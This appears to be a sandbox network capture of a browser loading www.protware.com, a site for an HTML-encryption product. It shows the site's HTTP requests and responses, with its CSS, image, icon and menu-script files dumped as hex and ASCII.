Nov 30, 2024 00:40:34.187679052 CET	338	OUT	GET /styleIE.css HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.538989067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:34 GMT Content-Type: text/css Content-Length: 5395 Connection: keep-alive Last-Modified: Sat, 12 Apr 2014 06:02:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 41 3a 6c 69 6e 6b 20 7b 43 4f 4c 4f 52 3a 20 23 30 30 30 30 30 30 3b 20 46 4f 4e 54 2d 57 45 49 47 48 54 3a 20 6e 6f 72 6d 61 6c 3b 20 54 45 58 54 2d 44 45 43 4f 52 41 54 49 4f 4e 3a 20 6e 6f 6e 65 7d 41 3a 76 69 73 69 74 65 64 20 7b 43 4f 4c 4f 52 3a 20 23 30 30 30 30 30 30 3b 20 46 4f 4e 54 2d 57 45 49 47 48 54 3a 20 6e 6f 72 6d 61 6c 3b 20 54 45 58 54 2d 44 45 43 4f 52 41 54 49 4f 4e 3a 20 6e 6f 6e 65 7d 41 3a 61 63 74 69 76 65 20 7b 42 41 43 4b 47 52 4f 55 4e 44 3a 20 23 46 46 46 46 46 46 3b 20 46 4f 4e 54 2d 57 45 49 47 48 54 3a 20 62 6f 6c 64 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 7d 41 3a 68 6f 76 65 72 20 7b 46 4f 4e 54 2d 57 45 49 47 48 54 3a 20 62 6f 6c 64 3b 20 54 45 58 54 2d 44 45 43 4f 52 41 54 49 4f 4e 3a 20 6e 6f 6e 65 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 33 33 30 30 7d 68 31 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 [TRUNCATED] Data Ascii: A:link {COLOR: #000000; FONT-WEIGHT: normal; TEXT-DECORATION: none}A:visited {COLOR: #000000; FONT-WEIGHT: normal; TEXT-DECORATION: none}A:active {BACKGROUND: #FFFFFF; FONT-WEIGHT: bold; color: #000000}A:hover {FONT-WEIGHT: bold; TEXT-DECORATION: none; background-color: #FFFFFF; color: #FF3300}h1 {display:inline;font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;}.s1i:hover {COLOR: #000000; FONT-WEIGHT: normal; TEXT-DECORATION: none}TD {FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; FONT-SIZE: 12px; font-weight: normal}.input {COLOR: #663399; FONT-FAMILY: Courier New, Courier, monospace}.note {BORDER-BOTTOM: silver thin solid; BORDER-LEFT: silver thin solid; BORDER-RIGHT: silver thin solid; BORDER-TOP: silver thin solid; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; PADDING-BOTTOM: 0.3em; PADDING-LEFT: 0.3em; PADDING-RIGHT: 0.3em; PADDING-TOP: 0.3em; border: #333333; font-size: 12px; color: #000099}.figure {FONT-VARIANT: small-caps; FONT-WEIGHT: bold}.htmlg { BOR
Nov 30, 2024 00:40:34.539171934 CET	1236	IN	Data Raw: 44 45 52 2d 42 4f 54 54 4f 4d 3a 20 23 36 36 36 36 63 63 20 30 70 78 20 73 6f 6c 69 64 3b 20 42 4f 52 44 45 52 2d 4c 45 46 54 3a 20 23 36 36 36 36 63 63 20 30 70 78 20 73 6f 6c 69 64 3b 20 42 4f 52 44 45 52 2d 52 49 47 48 54 3a 20 23 36 36 36 36 Data Ascii: DER-BOTTOM: #6666cc 0px solid; BORDER-LEFT: #6666cc 0px solid; BORDER-RIGHT: #6666cc 0px solid; BORDER-TOP: #6666cc 0.1em solid; PADDING-TOP: 2px; background-color: #FFFFFF; color: #009900; padding-right: 1px; padding-bottom: 5px; padding-left
Nov 30, 2024 00:40:34.543119907 CET	1236	IN	Data Raw: 69 6f 6e 3a 20 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 7d 0a 2e 74 62 6f 72 64 65 72 36 20 7b 20 42 4f 52 44 45 52 2d 42 4f 54 54 4f 4d 3a 20 23 36 36 36 36 63 63 20 30 70 Data Ascii: ion: none;display: none;font-weight: normal}.tborder6 { BORDER-BOTTOM: #6666cc 0px solid; BORDER-LEFT: #6666cc 0px solid; BORDER-RIGHT: #6666cc 0px solid; BORDER-TOP: #6666cc 0.1em solid; PADDING-TOP: 2px; background-color: #009900; color: #F
Nov 30, 2024 00:40:34.543281078 CET	1236	IN	Data Raw: 20 73 6f 6c 69 64 3b 20 50 41 44 44 49 4e 47 2d 54 4f 50 3a 20 32 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 Data Ascii: solid; PADDING-TOP: 2px; background-color: #FFFFFF; color: #000000; padding-right: 1px; padding-bottom: 5px; padding-left: 1px; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; margin-right: 2px; margin-lef
Nov 30, 2024 00:40:34.564780951 CET	381	OUT	GET /prev.gif HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:34.939368963 CET	982	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:34 GMT Content-Type: image/gif Content-Length: 773 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Data Raw: 47 49 46 38 39 61 1e 00 1e 00 e6 ff 00 14 13 13 72 6d 6d 4a 47 47 c0 c0 c0 29 28 28 c0 be be ff ff ff f5 f5 f5 eb eb eb e8 e8 e8 df df df de de de dd dd dd db db db da da da d2 d2 d2 cf cf cf cd cd cd cb cb cb ca ca ca c5 c5 c5 c4 c4 c4 c1 c1 c1 be be be bc bc bc b9 b9 b9 b8 b8 b8 b7 b7 b7 b5 b5 b5 b3 b3 b3 b1 b1 b1 af af af ae ae ae ad ad ad a9 a9 a9 a7 a7 a7 9f 9f 9f 9b 9b 9b 9a 9a 9a 96 96 96 8e 8e 8e 8d 8d 8d 8c 8c 8c 8a 8a 8a 87 87 87 86 86 86 80 80 80 7c 7c 7c 7b 7b 7b 78 78 78 77 77 77 74 74 74 71 71 71 70 70 70 6f 6f 6f 6e 6e 6e 6d 6d 6d 6a 6a 6a 68 68 68 66 66 66 65 65 65 64 64 64 63 63 63 62 62 62 61 61 61 60 60 60 5e 5e 5e 5d 5d 5d 5b 5b 5b 5a 5a 5a 59 59 59 58 58 58 56 56 56 54 54 54 53 53 53 52 52 52 51 51 51 4d 4d 4d 4c 4c 4c 4b 4b 4b 4a 4a 4a 49 49 49 48 48 48 47 47 47 46 46 46 42 42 42 3e 3e 3e 3d 3d 3d 3c 3c 3c 3a 3a 3a 38 38 38 37 37 37 34 34 34 32 32 32 30 30 30 2f 2f 2f 2e 2e 2e 2a 2a 2a 29 29 29 28 28 28 22 22 22 21 21 21 20 20 20 1e 1e 1e 1d 1d 1d 1b 1b 1b 19 19 19 18 18 18 17 [TRUNCATED] Data Ascii: GIF89armmJGG)((\|\|\|{{{xxxwwwtttqqqpppooonnnmmmjjjhhhfffeeedddcccbbbaaa```^^^]]][[[ZZZYYYXXXVVVTTTSSSRRRQQQMMMLLLKKKJJJIIIHHHGGGFFFBBB>>>===<<<:::888777444222000///...**)))((("""!!! !,@:>!/$8svHbsttuk3cDuuD43)'(1FZhor[db`\MH-;9LRXakoqvl04$&7Ufosu52YKt@ABFcWI,S[$0EEj,(_7$l<v(,`@^q.i-,c8l3B:4H!c1$%(DA"tbH!(H\|ILQiFMUfP8qD8YxvJ)J-T#!$-[e:nD8@;

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:34.064214945 CET	274	OUT	GET /mm.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:35.233195066 CET	900	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: text/javascript Content-Length: 662 Connection: keep-alive Last-Modified: Thu, 05 Apr 2007 14:17:09 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 42 72 77 73 72 20 3d 20 22 49 45 22 7d 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 6c 61 79 65 72 73 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 34 22 7d 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 20 26 26 20 77 69 6e 64 6f 77 2e 73 69 64 65 62 61 72 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 36 22 7d 0d 0a 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 20 3d 3d 22 4f 70 65 72 61 22 29 7b 42 72 77 73 72 20 3d 20 22 4f 70 65 72 61 22 7d 0d 0a 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 4d 4d 5f 72 65 6c 6f 61 64 50 61 67 65 28 69 6e 69 74 29 20 7b 20 20 2f 2f 72 65 6c 6f 61 64 73 20 74 68 65 20 77 69 6e 64 6f 77 20 69 66 20 4e 61 76 34 20 72 65 73 69 7a 65 64 0d 0a 20 20 69 66 20 28 69 6e 69 74 3d 3d 74 72 75 65 29 20 77 69 74 68 20 28 6e 61 76 69 67 61 74 6f 72 29 20 7b 69 66 20 28 28 61 70 70 4e 61 6d 65 3d 3d 22 4e 65 74 73 63 61 70 65 22 29 26 26 28 70 61 72 73 65 49 6e 74 28 61 70 70 56 65 72 73 69 6f 6e 29 [TRUNCATED] Data Ascii: if(document.all){Brwsr = "IE"}if(document.layers){Brwsr = "NN4"}if(document.getElementById && window.sidebar){Brwsr = "NN6"}if(navigator.appName =="Opera"){Brwsr = "Opera"}function MM_reloadPage(init) { //reloads the window if Nav4 resized if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) { document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }} else if (innerWidth!=document.MM_pgW \|\| innerHeight!=document.MM_pgH) location.reload();}MM_reloadPage(true);/if(Brwsr != "NN4"){window.moveTo(0,0);window.resizeTo(screen.availWidth,screen.availHeight) }/
Nov 30, 2024 00:40:36.171252966 CET	285	OUT	GET /encrypt_html.ico HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.523488045 CET	1001	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:36 GMT Content-Type: image/x-icon Content-Length: 766 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 00 00 01 00 01 00 20 20 10 00 00 00 00 00 e8 02 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 80 80 00 00 80 80 80 00 c0 c0 c0 00 00 00 ff 00 00 ff 00 00 00 ff ff 00 ff 00 00 00 ff 00 ff 00 ff ff 00 00 ff ff ff 00 00 00 00 00 77 77 77 77 77 77 77 77 77 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 77 00 00 00 00 00 33 bb ff bb bb bb bb bb 33 07 77 70 00 00 00 00 3b bb ff bb bb bb bb b3 b3 30 77 70 00 00 00 00 33 bb ff bb bb bb bb bb 33 33 07 70 00 00 00 00 3b bb ff 0b bb 0b bb b3 b3 33 07 70 00 00 00 00 33 bb f0 0b bb 00 bb bb 33 33 07 70 00 00 00 00 3b bb 00 bb bb b0 0b b3 b3 33 07 70 00 00 00 00 33 b0 0f bb bb bb 00 bb 33 33 07 70 00 00 00 00 3b b0 ff bb bb bb b0 b3 b3 33 07 70 00 00 00 00 33 b0 ff bb bb bb b0 bb 33 33 07 70 00 00 00 00 3b b0 0f bb bb bb 00 b3 b3 33 07 70 00 00 00 00 33 bb 00 bb bb b0 0b bb 33 33 07 70 00 00 00 00 3b [TRUNCATED] Data Ascii: ( @wwwwwwwwwpww33wp;0wp333p;3p333p;3p333p;3p333p;3p333p;3p333p;3p3p3033330?333333pppppppwpwwwp0wwp;333;ppp??
Nov 30, 2024 00:41:21.534348011 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:34.307331085 CET	338	OUT	GET /style_M.css HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://www.protware.com/menu.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:35.523658991 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: text/css Content-Length: 2134 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 64 69 76 7b 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 6c 65 66 74 3a 34 70 78 3b 20 74 6f 70 3a 34 70 78 3b 20 77 69 64 74 68 3a 32 30 25 3b 20 68 65 69 67 68 74 3a 38 39 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 31 3b 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 0a 7d 0a 0a 41 3a 6c 69 6e 6b 20 7b 0a 09 43 4f 4c 4f 52 3a 20 23 46 46 46 46 46 46 3b 20 46 4f 4e 54 2d 57 45 49 47 48 54 3a 20 62 6f 6c 64 3b 20 54 45 58 54 2d 44 45 43 4f 52 41 54 49 4f 4e 3a 20 6e 6f 6e 65 0a 7d 0a 41 3a 76 69 73 69 74 65 64 20 7b 0a 09 43 4f 4c 4f 52 3a 20 23 46 46 46 46 46 46 3b 20 46 4f 4e 54 2d 57 45 49 47 48 54 3a 20 62 6f 6c 64 3b 20 54 45 58 54 2d 44 45 43 4f 52 41 54 49 4f 4e 3a 20 6e 6f 6e 65 0a 7d 0a 41 3a 61 63 74 69 76 65 20 7b 0a 09 42 41 43 4b 47 52 4f 55 4e 44 3a 20 23 46 46 46 [TRUNCATED] Data Ascii: div{position:absolute; left:4px; top:4px; width:20%; height:89px; z-index:1; visibility: hidden; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px}A:link {COLOR: #FFFFFF; FONT-WEIGHT: bold; TEXT-DECORATION: none}A:visited {COLOR: #FFFFFF; FONT-WEIGHT: bold; TEXT-DECORATION: none}A:active {BACKGROUND: #FFFFFF; FONT-WEIGHT: bold; color: #000000}A:hover {FONT-WEIGHT: bold; TEXT-DECORATION: none; background-color: #FFFFFF !important; color: #FF0000 !important}.tborder6 { BORDER-BOTTOM: #6666cc 0px solid; BORDER-LEFT: #6666cc 0px solid; BORDER-RIGHT: #6666cc 0px solid; BORDER-TOP: #6666cc 0.1em solid; PADDING-TOP: 2px; background-color: #009900; color: #FFFFFF; padding-right: 1px; padding-bottom: 5px; padding-left: 1px; font-style: normal; font-weight: bold; font-variant: normal; text-transform: none; margin-right: 2px; margin-left: 2px; background-position: 5px 5px; text-decoration: none; font-family: Verdana, Arial, Helvetica, sans-serif; font-size:
Nov 30, 2024 00:40:35.523853064 CET	1130	IN	Data Raw: 31 32 70 78 3b 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 7d 0a 0a 2e 68 74 6d 6c 67 20 7b 20 42 4f 52 44 45 52 2d 42 4f 54 54 4f 4d 3a 20 23 36 36 36 36 63 63 20 30 70 78 20 73 6f 6c 69 64 3b 20 42 4f 52 44 45 52 2d 4c 45 46 54 Data Ascii: 12px; border-style: solid}.htmlg { BORDER-BOTTOM: #6666cc 0px solid; BORDER-LEFT: #6666cc 0px solid; BORDER-RIGHT: #6666cc 0px solid; BORDER-TOP: #6666cc 0.1em solid; PADDING-TOP: 2px; background-color: #FFFFFF; color: #009900; padding-right
Nov 30, 2024 00:41:20.534349918 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:34.307648897 CET	321	OUT	GET /scroll.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.protware.com/home.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:35.518946886 CET	599	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: text/javascript Content-Length: 361 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 63 72 6f 6c 6c 62 61 72 41 72 72 6f 77 43 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 63 72 6f 6c 6c 62 61 72 46 61 63 65 43 6f 6c 6f 72 3d 22 23 30 30 39 39 30 30 22 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 74 79 6c 65 2e 73 63 72 6f 6c 6c 62 61 72 54 72 61 63 6b 43 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 65 74 6f 64 6c 28 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6f 64 6c 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 27 6e 6f 6e 65 27 7d 7d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 6e 73 65 74 6f 64 6c 28 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 6f 64 6c 27 29 2e 73 74 79 6c [TRUNCATED] Data Ascii: document.body.style.scrollbarArrowColor="white";document.body.style.scrollbarFaceColor="#009900";document.body.style.scrollbarTrackColor="white";function setodl(){if(document.getElementById){document.getElementById('odl').style.display='none'}};function unsetodl(){if(document.getElementById){document.getElementById('odl').style.display='inline'}};
Nov 30, 2024 00:41:20.534338951 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:34.308059931 CET	320	OUT	GET /tpmnu.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.protware.com/menu.htm Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:35.568043947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: text/javascript Content-Length: 1723 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 42 72 77 73 72 20 3d 20 22 49 45 22 7d 3b 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 6c 61 79 65 72 73 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 34 22 7d 3b 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 20 26 26 20 77 69 6e 64 6f 77 2e 73 69 64 65 62 61 72 29 7b 42 72 77 73 72 20 3d 20 22 4e 4e 36 22 7d 3b 0d 0a 69 66 28 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 20 3d 3d 22 4f 70 65 72 61 22 29 7b 42 72 77 73 72 20 3d 20 22 4f 70 65 72 61 22 7d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 6e 6f 45 72 72 4d 73 67 28 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 3b 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 20 3d 20 6e 6f 45 72 72 4d 73 67 3b 0d 0a 74 68 65 66 69 6c 65 3d 22 22 3b 74 68 65 6f 6c 64 66 69 6c 65 3d 22 22 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 6d 66 28 29 7b 0d 0a 69 66 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 29 7b 0d 0a 6c 6f 63 3d 70 61 72 65 6e 74 2e 66 72 61 6d [TRUNCATED] Data Ascii: if(document.all){Brwsr = "IE"};if(document.layers){Brwsr = "NN4"};if(document.getElementById && window.sidebar){Brwsr = "NN6"};if(navigator.appName =="Opera"){Brwsr = "Opera"};function noErrMsg(){return true};window.onerror = noErrMsg;thefile="";theoldfile="";function checkmf(){if(document.getElementById){loc=parent.frames.main.location.href; aloc=loc.lastIndexOf('/');filenam1=loc.substring(aloc+1);thefilearr = filenam1.split(".");thefile=thefilearr[0];if(thefile !== theoldfile){changemenu(thefile,theoldfile)}theoldfile = thefilesetTimeout('checkmf()',500)}}function changemenu(thefile,theoldfile){if(document.getElementById(thefile)!=null){document.getElementById(thefile).style.color = "black"document.getElementById(thefile).style.backgroundColor = "white"}if(theoldfile.length>1 && document.getElementById(theoldfile)!=null){document.getElementById(theoldfile).style.color = "white"document.getElementById(theoldfile).style.backgroun
Nov 30, 2024 00:40:35.568136930 CET	726	IN	Data Raw: 64 43 6f 6c 6f 72 20 3d 20 22 23 30 30 39 39 30 30 22 20 0d 0a 7d 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 6e 66 6f 28 6c 69 6e 6b 49 44 2c 61 63 74 29 7b 0d 0a 74 68 65 4c 61 79 65 72 20 3d 20 22 4c 61 79 65 72 22 20 2b 20 6c Data Ascii: dColor = "#009900" }}function shownfo(linkID,act){theLayer = "Layer" + linkIDif(Brwsr=="IE"){if (act == "over"){eval('document.all.' + theLayer + '.style.visibility = "visible"')}if (act == "out"){eval('document.all.' + t
Nov 30, 2024 00:40:35.794753075 CET	381	OUT	GET /encrypt_html.ico HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.protware.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:36.165108919 CET	1001	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: image/x-icon Content-Length: 766 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 00 00 01 00 01 00 20 20 10 00 00 00 00 00 e8 02 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 80 80 00 00 80 80 80 00 c0 c0 c0 00 00 00 ff 00 00 ff 00 00 00 ff ff 00 ff 00 00 00 ff 00 ff 00 ff ff 00 00 ff ff ff 00 00 00 00 00 77 77 77 77 77 77 77 77 77 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 77 00 00 00 00 00 33 bb ff bb bb bb bb bb 33 07 77 70 00 00 00 00 3b bb ff bb bb bb bb b3 b3 30 77 70 00 00 00 00 33 bb ff bb bb bb bb bb 33 33 07 70 00 00 00 00 3b bb ff 0b bb 0b bb b3 b3 33 07 70 00 00 00 00 33 bb f0 0b bb 00 bb bb 33 33 07 70 00 00 00 00 3b bb 00 bb bb b0 0b b3 b3 33 07 70 00 00 00 00 33 b0 0f bb bb bb 00 bb 33 33 07 70 00 00 00 00 3b b0 ff bb bb bb b0 b3 b3 33 07 70 00 00 00 00 33 b0 ff bb bb bb b0 bb 33 33 07 70 00 00 00 00 3b b0 0f bb bb bb 00 b3 b3 33 07 70 00 00 00 00 33 bb 00 bb bb b0 0b bb 33 33 07 70 00 00 00 00 3b [TRUNCATED] Data Ascii: ( @wwwwwwwwwpww33wp;0wp333p;3p333p;3p333p;3p333p;3p333p;3p333p;3p3p3033330?333333pppppppwpwwwp0wwp;333;ppp??
Nov 30, 2024 00:41:21.174869061 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:34.686374903 CET	275	OUT	GET /frm.js HTTP/1.1 Host: www.protware.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:35.892257929 CET	1061	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:35 GMT Content-Type: text/javascript Content-Length: 823 Connection: keep-alive Last-Modified: Sun, 11 Jun 2006 19:48:05 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 69 66 20 28 28 70 61 72 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 3d 20 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 20 26 26 20 77 69 6e 64 6f 77 2e 6e 61 6d 65 21 3d 27 71 61 7a 78 73 77 65 64 63 27 29 7b 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 64 65 66 61 75 6c 74 2e 68 74 6d 27 29 7d 3b 76 61 72 20 6e 38 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 72 70 6c 63 28 69 6e 70 66 2c 66 65 29 7b 0d 0a 09 66 65 41 3d 41 72 72 61 79 28 27 68 74 6d 27 2c 27 68 74 6d 6c 27 2c 27 61 73 70 27 2c 27 70 68 70 27 2c 27 73 68 74 6d 6c 27 29 3b 0d 0a 09 6e 75 3d 69 6e 70 66 2b 27 2e 27 2b 66 65 41 5b 66 65 5d 3b 0d 0a 09 64 4f 62 6a 3d 27 6c 6f 63 61 74 69 6f 6e 27 3b 20 64 56 61 6c 3d 27 27 3b 20 64 41 63 74 3d 27 2e 72 65 70 6c 61 63 65 28 22 27 3b 20 64 43 6c 3d 27 22 29 27 3b 20 64 48 65 78 3d 27 30 78 42 42 27 3b 0d 0a 09 65 76 61 6c 28 64 4f 62 6a 2b 64 41 63 74 2b 64 56 61 6c 2b 6e 75 2b 64 43 6c 29 3b 09 09 09 09 09 09 09 09 09 09 20 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e [TRUNCATED] Data Ascii: if ((parent.location.href == self.location.href) && window.name!='qazxswedc'){location.replace('default.htm')};var n8;function 